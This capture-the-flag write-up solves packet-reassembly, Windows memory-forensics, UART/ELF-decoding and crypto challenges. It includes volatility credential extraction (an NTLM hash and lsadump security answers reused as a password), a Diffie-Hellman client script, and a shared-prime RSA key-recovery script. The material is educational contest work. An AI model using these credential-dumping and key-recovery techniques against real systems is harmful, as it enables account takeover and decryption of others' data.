0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 ba 40 00 40 06 45 06 7f 00 00 01 7f 00   .5..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b4 9a 69 bd 1c 80 18   ...........i....
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...)............
0040  93 fc 46                                          ..F

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 8f 40 00 40 06 49 32 7f 00 00 01 7f 00   .4..@.@.I2......
0020  00 01 d8 ea 07 e4 9a 69 bd 1c fc 0b 0a b5 80 10   .......i........
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 90 40 00 40 06 49 30 7f 00 00 01 7f 00   .5..@.@.I0......
0020  00 01 d8 ea 07 e4 9a 69 bd 1c fc 0b 0a b5 80 18   .......i........
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...)............
0040  93 fc 4c                                          ..L
```

```
0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 bb 40 00 40 06 45 06 7f 00 00 01 7f 00   .4..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b5 9a 69 bd 1d 80 10   ...........i....
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 bc 40 00 40 06 45 04 7f 00 00 01 7f 00   .5..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b5 9a 69 bd 1d 80 18   ...........i....
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...)............
0040  93 fc 47                                          ..G

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 91 40 00 40 06 49 30 7f 00 00 01 7f 00   .4..@.@.I0......
0020  00 01 d8 ea 07 e4 9a 69 bd 1d fc 0b 0a b6 80 10   .......i........
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 92 40 00 40 06 49 2e 7f 00 00 01 7f 00   .5..@.@.I.......
0020  00 01 d8 ea 07 e4 9a 69 bd 1d fc 0b 0a b6 80 18   .......i........
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...)............
0040  93 fc 3a                                          ..:

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 bd 40 00 40 06 45 04 7f 00 00 01 7f 00   .4..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b6 9a 69 bd 1e 80 10   ...........i....
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 be 40 00 40 06 45 02 7f 00 00 01 7f 00   .5..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b6 9a 69 bd 1e 80 18   ...........i....
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...)............
0040  93 fc 69                                          ..i

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 93 40 00 40 06 49 2e 7f 00 00 01 7f 00   .4..@.@.I.......
0020  00 01 d8 ea 07 e4 9a 69 bd 1e fc 0b 0a b7 80 10   .......i........
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 94 40 00 40 06 49 2c 7f 00 00 01 7f 00   .5..@.@.I,......
0020  00 01 d8 ea 07 e4 9a 69 bd 1e fc 0b 0a b7 80 18   .......i........
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fc 37                                          ..7

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 bf 40 00 40 06 45 02 7f 00 00 01 7f 00   .4..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b7 9a 69 bd 1f 80 10   ...........i....
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 c0 40 00 40 06 45 00 7f 00 00 01 7f 00   .5..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b7 9a 69 bd 1f 80 18   ...........i....
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 34                                          ..4

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 95 40 00 40 06 49 2c 7f 00 00 01 7f 00   .4..@.@.I,......
0020  00 01 d8 ea 07 e4 9a 69 bd 1f fc 0b 0a b8 80 10   .......i........
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 96 40 00 40 06 49 2a 7f 00 00 01 7f 00   .5..@.@.I*......
0020  00 01 d8 ea 07 e4 9a 69 bd 1f fc 0b 0a b8 80 18   .......i........
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 33                                          ..3

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 9e 40 00 40 06 49 22 7f 00 00 01 7f 00   .5..@.@.I"......
0020  00 01 d8 ea 07 e4 9a 69 bd 23 fc 0b 0a bc 80 18   .......i.#......
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 37                                          ..7
```

```
0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 c1 40 00 40 06 45 00 7f 00 00 01 7f 00   .4..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b8 9a 69 bd 20 80 10   ...........i. ..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 c2 40 00 40 06 44 fe 7f 00 00 01 7f 00   .5..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a b8 9a 69 bd 20 80 18   ...........i. ..
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 30                                           ..0

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 97 40 00 40 06 49 2a 7f 00 00 01 7f 00   .4..@.@.I*......
0020  00 01 d8 ea 07 e4 9a 69 bd 20 fc 0b 0a b9 80 10   .......i. ......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 98 40 00 40 06 49 28 7f 00 00 01 7f 00   .5..@.@.I(......
0020  00 01 d8 ea 07 e4 9a 69 bd 20 fc 0b 0a b9 80 18   .......i. ......
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 70                                           ..p

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 c3 40 00 40 06 44 fe 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a b9 9a 69 bd 21 80 10   ...........i.!..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 c4 40 00 40 06 44 fc 7f 00 00 01 7f 00   .5..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a b9 9a 69 bd 21 80 18   ...........i.!..
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 72                                           ..r

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 99 40 00 40 06 49 28 7f 00 00 01 7f 00   .4..@.@.I(......
0020  00 01 d8 ea 07 e4 9a 69 bd 21 fc 0b 0a ba 80 10   .......i.!......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 9a 40 00 40 06 49 26 7f 00 00 01 7f 00   .5..@.@.I&......
0020  00 01 d8 ea 07 e4 9a 69 bd 21 fc 0b 0a ba 80 18   .......i.!......
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 72                                           ..r

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 c5 40 00 40 06 44 fc 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a ba 9a 69 bd 22 80 10   ...........i."..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 c6 40 00 40 06 44 fa 7f 00 00 01 7f 00   .5..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a ba 9a 69 bd 22 80 18   ...........i."..
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 6e                                           ..n

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 9b 40 00 40 06 49 26 7f 00 00 01 7f 00   .4..@.@.I&......
0020  00 01 d8 ea 07 e4 9a 69 bd 22 fc 0b 0a bb 80 10   .......i."......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 9c 40 00 40 06 49 24 7f 00 00 01 7f 00   .5..@.@.I$......
0020  00 01 d8 ea 07 e4 9a 69 bd 22 fc 0b 0a bb 80 18   .......i."......
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 33                                           ..3

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 c7 40 00 40 06 44 fa 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a bb 9a 69 bd 23 80 10   ...........i.#..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                              ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
```

```
0010  00 35 f7 c8 40 00 40 06 44 f8 7f 00 00 01 7f 00   .5..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a bb 9a 69 bd 23 80 18   ...........i.#..
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 33                                          ..3

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 9d 40 00 40 06 49 24 7f 00 00 01 7f 00   .4..@.@.I$......
0020  00 01 d8 ea 07 e4 9a 69 bd 23 fc 0b 0a bc 80 10   .......i.#......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 c9 40 00 40 06 44 f8 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a bc 9a 69 bd 24 80 10   ...........i.$..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 ca 40 00 40 06 44 f6 7f 00 00 01 7f 00   .5..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a bc 9a 69 bd 24 80 18   ...........i.$..
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 34                                          ..4

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 9f 40 00 40 06 49 22 7f 00 00 01 7f 00   .4..@.@.I"......
0020  00 01 d8 ea 07 e4 9a 69 bd 24 fc 0b 0a bd 80 10   .......i.$......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 a0 40 00 40 06 49 20 7f 00 00 01 7f 00   .5..@.@.I ......
0020  00 01 d8 ea 07 e4 9a 69 bd 24 fc 0b 0a bd 80 18   .......i.$......
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 33                                          ..3

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 cb 40 00 40 06 44 f6 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a bd 9a 69 bd 25 80 10   ...........i.%..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f7 cc 40 00 40 06 44 f4 7f 00 00 01 7f 00   .5..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a bd 9a 69 bd 25 80 18   ...........i.%..
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 3c                                          ..<

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 a1 40 00 40 06 49 20 7f 00 00 01 7f 00   .4..@.@.I ......
0020  00 01 d8 ea 07 e4 9a 69 bd 25 fc 0b 0a be 80 10   .......i.%......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 a2 40 00 40 06 49 1e 7f 00 00 01 7f 00   .5..@.@.I.......
0020  00 01 d8 ea 07 e4 9a 69 bd 25 fc 0b 0a be 80 18   .......i.%......
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...)............
0040  93 fd 7d                                          ..}

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 cd 40 00 40 06 44 f4 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a be 9a 69 bd 26 80 10   ...........i.&..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 ce 40 00 40 06 44 f3 7f 00 00 01 7f 00   .4..@.@.D.......
0020  00 01 07 e4 d8 ea fc 0b 0a be 9a 69 bd 26 80 11   ...........i.&..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fd c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 a3 40 00 40 06 49 1e 7f 00 00 01 7f 00   .4..@.@.I.......
0020  00 01 d8 ea 07 e4 9a 69 bd 26 fc 0b 0a bf 80 11   .......i.&......
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fe c9 e0   ...(............
0040  93 fd                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 cf 40 00 40 06 44 f2 7f 00 00 01 7f 00   .4..@.@.D.......
```

```
0020  00 01 07 e4 d8 ea fc 0b 0a bf 9a 69 bd 27 80 10   ...........i.'..
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fe c9 e0   ...(............
0040  93 fe                                             ..
```

The beginnings of the hexdumps all look very similar, and we can even spot the IP address 127.0.0.1 (encoded as `7f 00 00 01`) in there! So these dumps probably contain IP packets, beginning at offset 14.

Using scapy we quickly parse the IP packets, extract the payload from the contained TCP packets, and concatenate it, to obtain: `{FLG:i74370prrn3343<}`. However, this is not the correct flag; some of the TCP packets were lost and retransmitted.

We already parsed the packets using scapy, so we can simply save them to a PCAP file and open it in wireshark to properly reassemble the TCP stream: `{FLG:i7430prrn37343<}`. Surprisingly, this is still not the correct flag. To obtain it, we have to swap two characters, so that sender and receiver take turn spelling the flag. Final flag: `{FLG:i7430prrn33743<}`

Script to parse the packets:

```
from scapy.all import *
from pwn import *

packets="""
[hexdumps from above]
""".split("\n\n")

ps=[]
for p in packets:
    p = p.strip()
    write("x", p)
    os.system("xxd -r x > y")
    r = read("y")[14:]
    p=IP(r)
    p.show()
    ps.append(p)
wrpcap("out.pcap",ps)
```

Forenseec

For this challenge we are provided with the memory dump of a Windows 10 VM. The go-to tool to analyze this is, of course, volatility. The latest release of volatility doesn't have a profile for the specific Windows version, but the latest version from git works fine.

Using `pslist` we can see two interesting processes running: `TimeVault.exe` and `firefox.exe`.

TimeVault

`TimeVault.exe` appears to be a custom binary, so we dump it into a file to analyze it. It's a .NET executable, so we can easily reverse it using dnSpy: the binary asks for a password and decrypts a hardcoded encrypted flag using this password.

As we already noticed the Firefox process earlier, this is probably were we can find the password.

Firefox

Firefox actually runs multiple times, one main process, one GPU process and one process per open tab. For analisis, I just dumped the memory from all processes and mashed it together into one big file.

Grepping the memory for `timevault`, we can see that the URL `http://timevault.ddns.net:8080/`. The websites content are also contained in memory:

```
<html>
    <head>
        <style>
body {
  background-image: url('/static/background.jpg');
  background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: cover;
}</style>

<title>Home - TimeVault Website</title>
    </head>
    <body>
    </body>
<!--if my calculations are correct, when this challenge hits 88 miles per hour, you're gonna see some serious PWD
c54a1db0b68d3c039df1e25569fc67b7-->
</html>
```

So the password to the TimeVault is `c54a1db0b68d3c039df1e25569fc67b7`. Giving this password to `TimeVault.exe` (which is still runnable, despite being dumped from memory) reveals ~~the flag~~ a random URL:
`gamebox1.reply.it/b8216e21b7d4030dc263f82416389175/Wait_a_minute_Zer0_Are_you_telling_me_you_built_a_time_challenge_out_of_a_DeLorea`

Flag

The above URL is only accessible after passing HTTP Basic auth, so we somehow have to obtain the username and password. The username is probably `Zer0` or `zer0` because it's their TimeVault, but how do we get the password?

Maybe Zer0 used the same password for the TimeVault and the Windows account. Using `hashdump` we can obtain the hash of the user account: `Zer0:1001:2353805c3d4da9b7c6fe8d78f7ef5e96:ea3131a50e74b42badf54b672fc7a48d:::`. All my cracking attempts were unsuccessful, but then I stumbled upon the output of `lsadump`:

```
L$_SQSA_S-1-5-21-2222777348-539284984-4271348667-1001
0x00000000  06 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ...............
0x00000010  7b 00 22 00 76 00 65 00 72 00 73 00 69 00 6f 00   {.".v.e.r.s.i.o.
0x00000020  6e 00 22 00 3a 00 31 00 2c 00 22 00 71 00 75 00   n.".:.1.,.".q.u.
0x00000030  65 00 73 00 74 00 69 00 6f 00 6e 00 73 00 22 00   e.s.t.i.o.n.s.".
0x00000040  3a 00 5b 00 7b 00 22 00 71 00 75 00 65 00 73 00   :.[.{.".q.u.e.s.
0x00000050  74 00 69 00 6f 00 6e 00 22 00 3a 00 22 00 57 00   t.i.o.n.".:.".W.
0x00000060  68 00 61 00 74 00 20 00 77 00 61 00 73 00 20 00   h.a.t...w.a.s...
0x00000070  79 00 6f 00 75 00 72 00 20 00 66 00 69 00 72 00   y.o.u.r...f.i.r.
0x00000080  73 00 74 00 20 00 70 00 65 00 74 00 19 20 73 00   s.t...p.e.t...s.
0x00000090  20 00 6e 00 61 00 6d 00 65 00 3f 00 22 00 2c 00   ..n.a.m.e.?.".,.
0x000000a0  22 00 61 00 6e 00 73 00 77 00 65 00 72 00 22 00   ".a.n.s.w.e.r.".
0x000000b0  3a 00 22 00 62 00 65 00 64 00 74 00 69 00 6d 00   :.".b.e.d.t.i.m.
0x000000c0  65 00 62 00 75 00 64 00 64 00 79 00 22 00 7d 00   e.b.u.d.d.y.".}.
0x000000d0  2c 00 7b 00 22 00 71 00 75 00 65 00 73 00 74 00   ,.{.".q.u.e.s.t.
0x000000e0  69 00 6f 00 6e 00 22 00 3a 00 22 00 57 00 68 00   i.o.n.".:.".W.h.
0x000000f0  61 00 74 00 19 20 73 00 20 00 74 00 68 00 65 00   a.t...s...t.h.e.
0x00000100  20 00 6e 00 61 00 6d 00 65 00 20 00 6f 00 66 00   ..n.a.m.e...o.f.
0x00000110  20 00 74 00 68 00 65 00 20 00 63 00 69 00 74 00   ..t.h.e...c.i.t.
0x00000120  79 00 20 00 77 00 68 00 65 00 72 00 65 00 20 00   y...w.h.e.r.e...
0x00000130  79 00 6f 00 75 00 20 00 77 00 65 00 72 00 65 00   y.o.u...w.e.r.e.
0x00000140  20 00 62 00 6f 00 72 00 6e 00 3f 00 22 00 2c 00   ..b.o.r.n.?.".,.
0x00000150  22 00 61 00 6e 00 73 00 77 00 65 00 72 00 22 00   ".a.n.s.w.e.r.".
0x00000160  3a 00 22 00 62 00 65 00 64 00 74 00 69 00 6d 00   :.".b.e.d.t.i.m.
0x00000170  65 00 62 00 75 00 64 00 64 00 79 00 22 00 7d 00   e.b.u.d.d.y.".}.
0x00000180  2c 00 7b 00 22 00 71 00 75 00 65 00 73 00 74 00   ,.{.".q.u.e.s.t.
0x00000190  69 00 6f 00 6e 00 22 00 3a 00 22 00 57 00 68 00   i.o.n.".:.".W.h.
0x000001a0  61 00 74 00 20 00 77 00 61 00 73 00 20 00 79 00   a.t...w.a.s...y.
0x000001b0  6f 00 75 00 72 00 20 00 63 00 68 00 69 00 6c 00   o.u.r...c.h.i.l.
0x000001c0  64 00 68 00 6f 00 6f 00 64 00 20 00 6e 00 69 00   d.h.o.o.d...n.i.
0x000001d0  63 00 6b 00 6e 00 61 00 6d 00 65 00 3f 00 22 00   c.k.n.a.m.e.?.".
0x000001e0  2c 00 22 00 61 00 6e 00 73 00 77 00 65 00 72 00   ,.".a.n.s.w.e.r.
0x000001f0  22 00 3a 00 22 00 62 00 65 00 64 00 74 00 69 00   ".:.".b.e.d.t.i.
0x00000200  6d 00 65 00 62 00 75 00 64 00 64 00 79 00 22 00   m.e.b.u.d.d.y.".
0x00000210  7d 00 5d 00 7d 00 00 00 00 00 00 00 00 00 00 00   }.].}...........
```

This seems to contain some "security questions" and their answers. Zer0 always answered `bedtimebuddy`, and sure enough, that's the password for the Basic auth!

Flag: `{FLG:3v3n_R4M_l4st_f0r3v3r}`

Signals from the past

For this challenge we are provided with a capture file from a logic analyzer, in the format supported by `sigrok`. This can be parsed using `sigrok` or the GUI frontend `pulseview`.

The capture has a total of 8 probes, but only two of them show interesting signals. I tried various decoders, to find out that this was a UART communication. It looks like a keyboard talking to a normal linux system: the user logs in using username and password and is dropped into a shell. `ls` shows the files `cmds encoder secret_msg.txt send_bin`, then `./send_bin encoder` is run.

After that follows a long stream of binary data, what appears to be a slightly encoded ELF file. Dumping the data into a file confirms that suspicion: there's a leading `0xC0` byte which doesn't belong into the ELF magic, an intact ELF header follows. However, due to the encoding the section headers appear corrupted and we cannot properly analyze the binary.

I have no idea about what encodings are normally used in this UART context; searching the web quickly turned to Consistent Overhead Byte Stuffing, but that doesn't fit the data we have at all. After an hour of senseless googling, I finally stumbled upon this code in android's bluetooth stack. Apparently, this encoding is part of BCSP, used when talking UART over Bluetooth. The encoding is simple: take your data, escape every `DB` byte by replacing it with `DB DD`, escape every `CO` byte by replacing it with `DB DC`, then prepend and append a `CO` byte.

Decoder script:

```
from pwn import *

dump = read("elf_dump")
dump = dump[1:-1]

idx = 0
out = b""
while True:

    x = dump[idx]
    if x == 0xdb:
        y = dump[idx+1]
```

```python
        if y == 0xdc:
            x = 0xc0
        elif y == 0xdd:
            x = 0xdb
        else:
            assert False
        idx += 1
    out += bytes([x])

    idx += 1
    if idx >= len(dump):
        break

write("out.elf", out)
```

After decoding the binary, we obtain a completely valid ELF file, and can analyze it as usual: the binary takes two file names as command line arguments. It reads the contents of the second file, XORs them with the constant string `dqjg0843jgnjern738ewp2`, and appends the result to the second file.

Searching the files we have for anything with stray data appended, we notice `logic-1-4` in the capture file (which is actually a zip file) ends with a bunch of random looking bytes (we can also see these bytes at the end of the displayed capture, where all signals jump erratically). XORing them with the fixed string from above result in the flag.

Flag: `{FLG:s3r14l_bd_m4st3r}`

Crypto

darth stuff

Overview

The task specifies a server and two tcp ports. Upon connecting to one of the ports we are presented with two hex numbers. After that we have to respond with a number as well.

After we provide a number, the server responds with the string "CFB" and two base64 encoded bytestrings.

Exploitation

After reconnecting to the server I recognized that the first number called p always stays the same while the second number changes.

Because of the many 0xff bytes at the start and end of the number p I recognized it as one of the standardized (RFC 3526) prime numbers used for the Diffie–Hellman key exchange. Therefore I assumed we had to exchange a key using DH and that the data sent afterwards is the flag encrypted with the shared secret.

The cipher turned out to be AES in CFB mode. The first value is the IV and the second one is the encrypted flag.

This had to be done on both provided ports to get both halves of the flag.

```python
from pwn import *
from Crypto.Cipher import AES
import base64

def int_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')


r = remote('gamebox1.reply.it', 9998)

r.recvuntil('Password: ')
r.sendline('this_is_darth_stuff')

r.recvuntil('p: ')
p = int(r.recvuntil('\n'), 16)

r.recvuntil('Zer0 subject says: ')
pub = int(r.recvuntil('\n'), 16)

private_key = 42
public_key = pow(2, private_key, p)

r.recvuntil('What about you? ')
r.sendline(str(hex(public_key)))

shared_key = pow(pub, private_key, p)
key = int_to_bytes(shared_key)

print(key)
print(len(key))
```

```
r.recvuntil('CFB\n')

iv = base64.b64decode(r.recvuntil('\n'))
cipher = base64.b64decode(r.recvall())

print(iv)
print(cipher)

aes = AES.new(key[:16], AES.MODE_CFB, iv=iv)
print(aes.decrypt(cipher))

r.interactive()

#{FLG:fir5t_ha1f_0f_f14g_4nd_s3c0nd_ha1f_0f_f14g}
```

---

mind your keys

Overview

The task provides 20000 RSA public keys and encrypted messages.

Exploit

At first we thought about Hastad's Broadcast Attack. But the used e is 65537 and therfor we don't have enough messages to use this attack.

After some time we had the idea to check the keys for shared prime factors which turned out to be the right direction.

We used the following script to find the shared factors:

```
import OpenSSL.crypto as crypto
from Crypto.Util.number import inverse
from functools import reduce
import operator
from decimal import Decimal
import traceback
import base64
import math
import sys
import multiprocessing
import os

def chunk(seq, num):
    avg = len(seq) / float(num)
    out = []
    last = 0.0

    while last < len(seq):
        out.append(seq[int(last):int(last + avg)])
        last += avg

    return out


n = []

for i in range(1,20000):
    with open(f'keys/key{i}.pem') as f:
        n.append(int(crypto.load_publickey(crypto.FILETYPE_PEM,f.read()).to_cryptography_key().public_numbers().n))


def run(r):
    for i in r:
        for j in range(i+1,20000-1):
            #print(i,j)
            if math.gcd(n[i], n[j]) != 1:
                print(i,j, n[i], n[j])

for r in chunk(range(1,20000-1), os.cpu_count()):
    multiprocessing.Process(target=run, args=(r,)).start()
```

With one of the prime factors we could calculate the other prime factor and recover the private key. This could be used to decrypt the corresponding message.

To decrypt the message RsaCtfTool was used:

```
base64 -d msgs/msgs19440.enc >19440

RsaCtfTool -n
885298393006033668751086318885146695676836762845313136887911238431382126819742400577090575256175683441061279892917722883645095076312
```

```
 -p
1015155878909680562221398235963073566637283630099630019001448387633204489019244877796744804401559234413826094271477574054262756393
00
 -q
87208123540286324404957850177004161164667199564487839438269170021737717523482496970949991206276945443903035585301162993384224734357
7
 -e 65537 --uncipherfile 19440
```